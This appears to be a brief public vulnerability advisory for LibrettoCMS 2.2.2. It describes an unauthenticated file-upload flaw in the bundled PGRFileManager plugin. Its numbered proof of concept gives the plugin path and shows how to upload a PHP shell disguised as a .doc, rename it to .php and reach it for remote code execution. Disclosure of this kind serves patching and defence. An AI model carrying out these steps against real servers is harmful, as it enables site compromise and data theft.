LibrettoCMS 2.2.2 Arbitrary File Upload

# Title: LibrettoCMS 2.2.2 Malicious File Upload # discoverer: CWH Underground # Official Website: http://libretto.artwebonline.com/ #: http://jaist.dl.sourceforge.net/project/librettocms/librettoCMS_v.2.2.2.zip # Affected versions: 2.2.2 # Test Platform: Window and Linux overview LibrettoCMS is provided a file upload function to unauthenticated users. allows for write/read/edit/delete download arbitrary file uploaded, which results attacker might arbitrary write/read/edit/delete files and folders. librettoCMS use pgrfilemanager and restrict file type for upload only doc and pdf but able to rename filetype after uploaded lead attacker to rename *. doc *. php and arbitrary execute PHP shell on webserver. ######################################## ############ exploit poc 1. access http://target/librettoCMS/adm/ui/js/ckeditor/plugins/pgrfilemanager/PGRFileManager.php 2. Upload PHP Shell with *. doc format (shell.doc) to PGRFileManager 3. Rename file from shell.doc to shell. php 4. Your renamed file will disappear !! 5. For access shell, http://target/librettoCMS/userfiles/shell.php 6. Server Compromised !!